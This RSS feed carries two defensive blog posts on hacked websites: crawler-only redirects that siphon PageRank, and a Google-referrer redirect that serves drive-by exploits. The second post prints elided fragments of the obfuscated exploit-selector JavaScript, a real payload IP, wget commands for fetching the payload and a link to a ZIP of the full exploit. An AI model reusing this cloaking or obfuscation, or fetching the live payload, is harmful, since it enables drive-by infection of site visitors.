<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>johnmu.com &#187; Hack</title>
	<atom:link href="http://johnmu.com/category/hack/feed/" rel="self" type="application/rss+xml" />
	<link>http://johnmu.com</link>
	<description>John Mueller's technical website tips and tricks</description>
	<lastBuildDate>Thu, 03 Dec 2009 12:42:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hackers stealing your PageRank</title>
		<link>http://johnmu.com/pagerank-hacker-using-suomi-co-in/</link>
		<comments>http://johnmu.com/pagerank-hacker-using-suomi-co-in/#comments</comments>
		<pubDate>Sun, 07 Dec 2008 23:44:54 +0000</pubDate>
		<dc:creator>John Mueller</dc:creator>
				<category><![CDATA[Hack]]></category>

		<guid isPermaLink="false">http://johnmu.com/?p=155</guid>
		<description><![CDATA[The last time I wrote about a hacked site, it was using a redirect that sent some users to a different site. This kind of hack is pretty common (even though it&#8217;s usually not as complex as mentioned in that post), it leverages the sad fact that users are often easy to trick and not [...]]]></description>
			<content:encoded><![CDATA[<p>The last time I <a href="http://johnmu.com/hack-hidden-redirect/">wrote about a hacked site</a>, it was using a redirect that sent some users to a different site. This kind of hack is pretty common (even though it&#8217;s usually not as complex as mentioned in that post), it leverages the sad fact that users are often easy to trick and not browsing with protection (or <a href="http://googleonlinesecurity.blogspot.com/2008/07/are-you-using-latest-web-browser.html">a current browser</a>).</p>
<p>A different angle of attack is to redirect only search engine crawlers to a different site. By doing this, they can make it look like the pages of a website moved to a new domain name. In general, when search engines find redirects like that, they will more or less pass the &#8220;value&#8221; that a page had on to the new URL &#8212; that generally also applies to PageRank. So in a sense, they are trying to steal the value that a webmaster has built up over time. </p>
<p>In this particular case, a &#8220;massive amount&#8221; of sites were hacked and likely redirected through suomi.co.in.<br />
<span id="more-155"></span><br />
The webmaster generally doesn&#8217;t notice this kind of hack because there&#8217;s nothing that would alert him to a problem. Only search engine crawlers would get redirected, normal users (including the webmaster) would see the page normally. </p>
<p><strong>The first symptom that you would see is hard to interpret: <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=7f05dc5d8154229e&#038;hl=en">URLs from the website are just not indexed anymore</a></strong>. URLs not being indexed is something that could happen because of any number of reasons, so how do we find out more?</p>
<p>One of the first things I like to do in a case like this is to access the site with a search engine crawler&#8217;s user agent. This gives you a rough look at how the website reacts to a search engine crawler (although it&#8217;s not complete, it&#8217;s often pretty close). There are two relatively easy ways to do this:</p>
<ol>
<li>Use an online tool such as <a href="http://web-sniffer.net/">Web-Sniffer</a>. It&#8217;s pretty easy to use and is somewhat close to an actual crawler.</li>
<li>Use <a href="http://www.mozilla.com/firefox/">FireFox</a> with the <a href="https://addons.mozilla.org/en-US/firefox/addon/59">User Agent Switcher</a> plugin. If you use this plugin, you&#8217;ll have to add the user agent yourself. I usually use the current Googlebot user agent string:<br />
<blockquote><p>Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)</p></blockquote>
<p>Note: if you use Firefox for this, <strong>make sure that your Firefox installation is up to date and locked down properly</strong> in case you run into a site serving malware like this. Sometimes it even makes sense to use a virtual machine for this.
</li>
<li>(I wish there were a half-&#8221;li&#8221; <img src='http://johnmu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  ) There&#8217;s also &#8220;wget&#8221;, which is easy for those of you who prefer use console tools. I usually use the above user agent string with wget.</li>
</ol>
<p>If you access the site using one of these tools, you&#8217;ll often be able to spot these redirects (or other issues that a site might be having with regards to being accessed by search engine crawlers). It&#8217;s rare that someone uses cloaking by IP address for things like this. In a <a href="http://www.google.com/support/forum/p/Webmasters/thread?tid=7f05dc5d8154229e&#038;hl=en">recent thread in the Webmaster Help forums</a>, &#8220;webado&#8221; spotted the redirect using Web-Sniffer. </p>
<p><img src="http://johnmu.com/wp-content/stuff/thacki.png" alt="" title="Hacked site redirecting to suomi.co.in" width="500" height="346" class="alignnone size-full wp-image-165" /></p>
<p>In this particular case, the URL was redirected to <strong>http://suomi.co.in/</strong> , from where it was redirected to a page that they wanted to promote with the original site&#8217;s &#8220;value&#8221;. I&#8217;ve seen the same kind of redirect going through <strong>http://ahtung.co.in/</strong>. </p>
<p>The webmaster responded with a note from his hoster in the thread:</p>
<blockquote><p>Note from my host server (support @ hostgator.com)<br />
I have removed the file &#8220;.htaccess&#8221; from the directory /home/aceuropa which was causing the redirect.  The logs show a massive amount of .htaccess files being edited over the last couple of days.  I would highly suggest changing your password to something more secure.  Please let us know if you have any further questions or concerns. </p></blockquote>
<p>(It&#8217;s great to see a hoster act so quickly!)</p>
<p>There&#8217;s another way to spot this kind of hack with Google Webmaster Tools: <strong>When you submit a Sitemap file, Google will show warnings for URLs that redirect.</strong> By design, you should be listing the final URL in your Sitemap file, so if the URL is redirecting for our crawlers (as in this case), we&#8217;ll show a warning in your account. </p>
<hr/>Copyright &copy; 2010 <strong><a href="http://johnmu.com">johnmu.com</a></strong>. This Feed is for personal non-commercial use only. If you are not reading this material in your news aggregator, the site you are looking at is guilty of copyright infringement. Please contact johnmu.com so we can take legal action immediately.<br/><span style="float: right;font-size: 7pt"><a href="http://blog.taragana.com/index.php/archive/wordpress-plugins-provided-by-taraganacom/">Plugin</a> by <a href="http://www.taragana.com/">Taragana</a></span>]]></content:encoded>
			<wfw:commentRss>http://johnmu.com/pagerank-hacker-using-suomi-co-in/feed/</wfw:commentRss>
		<slash:comments>40</slash:comments>
		</item>
		<item>
		<title>The website hack you&#8217;d never find</title>
		<link>http://johnmu.com/hack-hidden-redirect/</link>
		<comments>http://johnmu.com/hack-hidden-redirect/#comments</comments>
		<pubDate>Thu, 23 Aug 2007 22:03:34 +0000</pubDate>
		<dc:creator>John Mueller</dc:creator>
				<category><![CDATA[Hack]]></category>

		<guid isPermaLink="false">http://johnmu.com/hack-hidden-redirect/</guid>
		<description><![CDATA[Warning: do not try the URLs here unless your system is locked down properly. I suggest using a "virual machine" (I use VMware) to test things like this. The hack itself is complicated, the system is simple - skip the complicated part if you're in a hurry.
It all started with a posting like this:
When I [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Warning: do not try the URLs here unless your system is locked down properly. I suggest using a "virual machine" (I use VMware) to test things like this. The hack itself is complicated, the system is simple - skip the complicated part if you're in a hurry.</strong></p>
<p>It all started with a <a href="http://groups.google.com/group/Google_Webmaster_Help-Requests/browse_thread/thread/3238914c52ff7b18">posting</a> like this:</p>
<blockquote><p>When I do a google search for [Jonathan Wentworth Associates] the first result is:</p>
<p><em>Jonathan Wentworth Associates, LTD<br />
Welcome to Jonathan Wentworth Associates, a respected resource for world-class orchestral soloists,<br />
conductors, opera, chamber music, chamber orchestras, ...<br />
www.jwentworth.com/ - 19k - Cached - Similar pages - Note this</em></p>
<p>The: "Jonathan Wentworth Associates, LTD" is highlighted and is a link to the web site.  If you place the mouse over the link, it shows http://www.jwentworth.com.  However, if you click the link it immeately attempts to download the trojan.  My McAfee immediatly blocked it.</p></blockquote>
<p>Looking at the page in question, it doesn't appear to be hacked, it doesn't appear to have any kind of scripts injected, etc. However, using LiveHTTPHeaders with Firefox, while doing the same steps (search, click on the top result) you see the following:<br />
<span id="more-108"></span></p>
<blockquote><p>GET / HTTP/1.1<br />
Host: www.jwentworth.com<br />
HTTP/1.x 302 Found<br />
Location: http://85.255.117.38/ind.htm?src=324&#038;surl=www.jwentworth.com&#038;sport=80...<br />
<br />
GET /ind.htm?src=324&#038;surl=www.jwentworth.com&#038;sport=80&#038;suri=%2F HTTP/1.1<br />
Host: 85.255.117.38<br />
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates<br />
HTTP/1.x 302 Found<br />
Location: http://www.jwentworth.com/</p></blockquote>
<p>Without going through Google, the page is returned right away, just like it should. Search engine crawlers also get it like that. After the step through Google however, the site does a 302 redirect to some IP-Address and then returns to the original site.  The average browser won't see that, but if you're quick you might spot it in the status-bar. A search engine crawler or any user who knew the address would get there without a redirect and not notice a thing.</p>
<p>Strange.</p>
<p>That's something that deserves to be looked at more closely. What's on that server? How could I be able to see it?</p>
<p>I had seen something similar a few months back which redirected me to an affiliate site the first time I went to that site through a Google referrer (in my case, the gmail.google.com referrer was enough). It would only trigger once per IP-Address. This looks like a similar hack.</p>
<p>When I was able to download the files, I had a nice collection of:</p>
<ul>
<li>an <strong>encrypted javascript</strong> file that downloaded exploits based on browser and operating system</li>
<li>an <strong>exploit</strong> from free-spy-cam.net</li>
<li>an <strong>affiliate sales</strong> page for an <strong>antivirus</strong> software. Oh the irony. "We just infected you, buy our antivirus to get clean." That is, if that software isn't infected with something else.</li>
<li>an affiliate signup link on that page</li>
</ul>
<p>A search engine crawler will never see these things. A user, coming in from Google, will get redirected and if the IP address is not known, it will trigger a few exploits based on the system the user has and then display an affiliate ad page. The next time the user comes, the redirect will happen but the normal page will be shown.</p>
<p><strong>Spotting the hack on your site</strong></p>
<p>It would be good to know how you could spot a hack like this on your site. In general, you wouldn't be able to. You can check for this particular hack, but it might not trigger every time ... not to mention that there are likely way too many hacks that you would need to check for.</p>
<p>A simple way to check for it would be to use wget to access the page, and check for strange redirects, eg:</p>
<blockquote><p>>wget --user-agent Firefox --save-headers --referer "http://www.google.com/search?q=duuude" "http://www.jwentworth.com/"</p></blockquote>
<p>However, as mentioned, that might not work every time.</p>
<p><strong>The technical details</strong></p>
<p>(skip this part, if you are lost already <img src='http://johnmu.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  )</p>
<p>The original spotting of the anomaly was using LiveHTTPHeaders with Firefox, while doing the steps: search, click on the top result. You see the following:</p>
<blockquote><p>GET / HTTP/1.1<br />
Host: www.jwentworth.com<br />
(...)<br />
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates<br />
<br />
HTTP/1.x 302 Found<br />
Date: Thu, 23 Aug 2007 06:38:04 GMT<br />
Server: Apache/1.3.37 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/<br />
1.2 mod_bwlimited/1.4 PHP/4.4.6 FrontPage/5.0.2.2635.SR1.2 mod_ssl/<br />
2.8.28 OpenSSL/0.9.7a<br />
Location: http://85.255.117.38/ind.htm?src=324&#038;surl=www.jwentworth.com&#038;sport=80...<br />
(... added space to prevent linking ...)<br />
<br />
GET /ind.htm?src=324&#038;surl=www.jwentworth.com&#038;sport=80&#038;suri=%2F HTTP/1.1<br />
Host: 85.255.117.38<br />
(...)<br />
Referer: http://www.google.com/search?q=Jonathan+Wentworth+associates<br />
HTTP/1.x 302 Found<br />
Date: Thu, 23 Aug 2007 06:38:05 GMT<br />
(...)<br />
Location: http://www.jwentworth.com/
</p></blockquote>
<p>A strange redirect like that is a really bad sign. How can we check the URL that is given to see what they are sending? Apparently it can only be triggered once per IP-address and I had already used that chance earlier. In order to view the initial page, I had to find an IP address that was not yet registered with the remote server (at least that's my explanation). I used a proxy server from one of the lists online. Using the proxy server and wget, I was able to access the page:</p>
<blockquote><p>&gt;set http_proxy=81.63.140.37:3128<br />
<br />
&gt;wget --user-agent "Firefox" --save-headers "http://85.255.117.38/ind.htm?src=324&#038;surl=www.jwentworth.com&#038;sport=80&#038;suri=%2Findex%2Ehtml"<br />
<br />
Connecting to 81.63.140.37:3128... connected.<br />
Proxy request sent, awaiting response... 200 OK<br />
Length: unspecified [text/html]<br />
20:43:23 (79.20 KB/s) - `ind.htm@src=324&#038;surl=www.jwentworth.com&#038;sport=80&#038;suri=%<br />
2Findex.html.2' saved [414]</p></blockquote>
<p>The page that was returned was a normal frameset:</p>
<div class="igBar"><span id="lhtml-4"><a href="#" onclick="javascript:showPlainTxt('html-4'); return false;">Select code</a></span></div>
<div class="syntax_hilite"><span class="langName">HTML:</span>
<div id="html-4">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/html.html"><span style="color: #000000; font-weight: bold;">&lt;HTML&gt;</span></a></span><span style="color: #009900;"><a href="http://december.com/html/4/element/head.html"><span style="color: #000000; font-weight: bold;">&lt;HEAD&gt;</span></a></span><span style="color: #009900;"><a href="http://december.com/html/4/element/title.html"><span style="color: #000000; font-weight: bold;">&lt;TITLE&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/TITLE&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/HEAD&gt;</span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/frameset.html"><span style="color: #000000; font-weight: bold;">&lt;frameset</span></a> framespacing=<span style="color: #ff0000;">"0"</span> <span style="color: #000066;">border</span>=<span style="color: #ff0000;">"0"</span> <span style="color: #000066;">rows</span>=<span style="color: #ff0000;">"*,1"</span> <span style="color: #000066;">frameborder</span>=<span style="color: #ff0000;">"0"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/frame.html"><span style="color: #000000; font-weight: bold;">&lt;frame</span></a> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">"m"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"/site.htm?lng=1&amp;trg=cln&amp;oip=0&amp;trk=zszuyhbinthnpzt"</span> <span style="color: #000066;">scrolling</span>=<span style="color: #ff0000;">"no"</span> <span style="color: #000066;">noresize</span> <span style="color: #000066;">marginwidth</span>=<span style="color: #ff0000;">"0"</span> <span style="color: #000066;">marginheight</span>=<span style="color: #ff0000;">"0"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/frame.html"><span style="color: #000000; font-weight: bold;">&lt;frame</span></a> <span style="color: #000066;">name</span>=<span style="color: #ff0000;">"b"</span> <span style="color: #000066;">src</span>=<span style="color: #ff0000;">"about:blank"</span> <span style="color: #000066;">marginwidth</span>=<span style="color: #ff0000;">"0"</span> <span style="color: #000066;">marginheight</span>=<span style="color: #ff0000;">"0"</span> <span style="color: #000066;">scrolling</span>=<span style="color: #ff0000;">"auto"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/noframes.html"><span style="color: #000000; font-weight: bold;">&lt;noframes&gt;</span></a></span><span style="color: #009900;"><a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">&lt;BODY&gt;</span></a></span>Frames not supported by your browser.<span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/BODY&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/noframes&gt;</span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/frameset&gt;</span></span><span style="color: #009900;"><a href="http://december.com/html/4/element/body.html"><span style="color: #000000; font-weight: bold;">&lt;body&gt;</span></a></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/body&gt;</span></span><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/html&gt;</span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p><!-- html-4--></p>
<p>The second frame was kind of funny, "about:blank"? The first one was a bit more interesting though: <strong>http://85.255.117.38/site.htm?lng=1&#038;trg=cln&#038;oip=0&#038;trk=zszuyhbinthnpzt</strong><br />
Notice the "trk" parameter.</p>
<p>Accessing that page with Opera within a VMware virtual machine running Windows 2000 (heh, paranoid is good), I was able to access that page.  I saved it for analysis (and had Ethereal running on the side just to be sure). I tried to refresh and it returned 404. You could only view the page once.</p>
<p><img src='http://johnmu.com/wp-content/stuff/showhack.jpg' alt='showhack.jpg' /></p>
<p>Looking at the files you see some interesting things:</p>
<p>- an encrypted javascript file<br />
- an exploit from free-spy-cam.net<br />
- an affiliate sales page for the antivirus software<br />
- an affiliate signup link on that page</p>
<p>The <a href="http://johnmu.com/files/hack1_WARNING.zip">ZIP-File</a> contains a full copy of the files as downloaded by the Opera browser. Check the files at your own risk, they contain the full exploit.</p>
<p>The encrypted javascript file looks like this (pulled apart and reformatted; called "__cntr000.htm" in the ZIP file):</p>
<div class="igBar"><span id="ljavascript-5"><a href="#" onclick="javascript:showPlainTxt('javascript-5'); return false;">Select code</a></span></div>
<div class="syntax_hilite"><span class="langName">JavaScript:</span>
<div id="javascript-5">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;script language=JavaScript&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> dc<span style="color: #66cc66;">&#40;</span>sed<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; l=sed.<span style="color: #006600;">length</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #003366; font-weight: bold;">var</span> b=<span style="color: #CC0000;color:#800000;">1024</span>,i,j,r,p=<span style="color: #CC0000;color:#800000;">0</span>,s=<span style="color: #CC0000;color:#800000;">0</span>,w=<span style="color: #CC0000;color:#800000;">0</span>,t=Array<span style="color: #66cc66;">&#40;</span><span style="color: #CC0000;color:#800000;">63</span>,<span style="color: #CC0000;color:#800000;">56</span>,<span style="color: #CC0000;color:#800000;">60</span>,<span style="color: #CC0000;color:#800000;">51</span>,<span style="color: #CC0000;color:#800000;">15</span>,<span style="color: #CC0000;color:#800000;">9</span>,<span style="color: #CC0000;color:#800000;">10</span>,<span style="color: #CC0000;color:#800000;">13</span>,<span style="color: #CC0000;color:#800000;">36</span> <span style="color: #66cc66;">&#40;</span>...<span style="color: #66cc66;">&#41;</span> <span style="color: #CC0000;color:#800000;">52</span>,<span style="color: #CC0000;color:#800000;">16</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; soot=sed;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span>j=Math.<span style="color: #006600;">ceil</span><span style="color: #66cc66;">&#40;</span>l/b<span style="color: #66cc66;">&#41;</span>;j&gt;<span style="color: #CC0000;color:#800000;">0</span>;j--<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp;r=<span style="color: #3366CC;">''</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">for</span><span style="color: #66cc66;">&#40;</span>i=Math.<span style="color: #006600;">min</span><span style="color: #66cc66;">&#40;</span>l,b<span style="color: #66cc66;">&#41;</span>;i&gt;<span style="color: #CC0000;color:#800000;">0</span>;l--,i--<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp;saam=t<span style="color: #66cc66;">&#91;</span>soot.<span style="color: #006600;">charCodeAt</span><span style="color: #66cc66;">&#40;</span>p++<span style="color: #66cc66;">&#41;</span>-<span style="color: #CC0000;color:#800000;">48</span><span style="color: #66cc66;">&#93;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp;sttp=saam&lt;&lt;s;w|=sttp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span>...<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp;dd1=<span style="color: #3366CC;">"document"</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp;dd2=<span style="color: #3366CC;">"write(r)"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">eval</span><span style="color: #66cc66;">&#40;</span>dd1+<span style="color: #3366CC;">"."</span>+dd2<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span>...<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">dc<span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"AVbFxuGqAk7s5OpH (...) G2ovPVoP9dATq_"</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;/script&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p><!-- javascript-5--></p>
<p>The contents of the file are encrypted with some variation of Base64 encoding. You can decode the javascript by replacing:<br />
<em>     eval(dd1+"."+dd2)</em><br />
with<br />
<em>     document.write("&lt;xmp&gt;" + r + "&lt;/xmp&gt;");</em></p>
<p>Doing that will display the full contents of the encrypted data (called "__cntr000-decoded.htm" in the ZIP file).</p>
<div class="igBar"><span id="ljavascript-6"><a href="#" onclick="javascript:showPlainTxt('javascript-6'); return false;">Select code</a></span></div>
<div class="syntax_hilite"><span class="langName">JavaScript:</span>
<div id="javascript-6">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span>...<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #003366; font-weight: bold;">var</span> WinOS=Get_Win_Version<span style="color: #66cc66;">&#40;</span>IEversion<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; PatchList = clientInformation.<span style="color: #006600;">appMinorVersion</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000066; font-weight: bold;">switch</span> <span style="color: #66cc66;">&#40;</span>WinOS<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp;<span style="color: #000066; font-weight: bold;">case</span> <span style="color: #3366CC;">"wXPw"</span>:</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; XP_SP2_patched=<span style="color: #CC0000;color:#800000;">0</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; FullVersion=clientInformation.<span style="color: #006600;">appMinorVersion</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; PatchList=FullVersion.<span style="color: #006600;">split</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">";"</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #66cc66;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i=<span style="color: #CC0000;color:#800000;">0</span>; i &lt;PatchList.<span style="color: #006600;">length</span>; i++<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>PatchList<span style="color: #66cc66;">&#91;</span>i<span style="color: #66cc66;">&#93;</span>==<span style="color: #3366CC;">"SP2"</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> XP_SP2_patched=<span style="color: #CC0000;color:#800000;">1</span>; <span style="color: #66cc66;">&#125;</span> <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #66cc66;">&#40;</span>XP_SP2_patched==<span style="color: #CC0000;color:#800000;">1</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span> ExploitNumber=<span style="color: #CC0000;color:#800000;">9</span>; <span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span>...<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; location.<span style="color: #006600;">href</span>=<span style="color: #3366CC;">"cnte-eshdvvw.htm?trk=zszuyhbinthnpzt"</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span>...<span style="color: #66cc66;">&#41;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p><!-- javascript-6--></p>
<p>It is yet another javascript that triggers an exploit based on the operating system (it even test for XP service pack 2) and browser that the user is using. The exploit is also tagged with the "trk" parameter and couldn't be downloaded separately. You can bet that's it's not a picture of your favorite celebrity, however.</p>
<p><strong>Next steps</strong></p>
<p>You could follow these up with:</p>
<ul>
<li>Checking the <a href="http://whois.domaintools.com/85.255.117.38">whois of the payload-server</a> and notifying the hoster (in this case probable fruitless)</li>
<li>Checking the sales page, search for the affiliate ID and the setups running and complain to the affiliate networks about this webmaster</li>
<li>Mirror a copy of the original server for analysis</li>
<li>Obviously move to a different server, perhaps even a different hoster</li>
</ul>
<p><strong>Summary</strong></p>
<p>The hacker had managed to patch the server side code (most likely the Apache server) so that<br />
- search engines see the normal page<br />
- new users from search engines are hacked with several exploits and shown an ad for anti-virus software</p>
<p>Spotting something like this on your own sites is close to impossible. The search engine crawlers would not notice anything.</p>
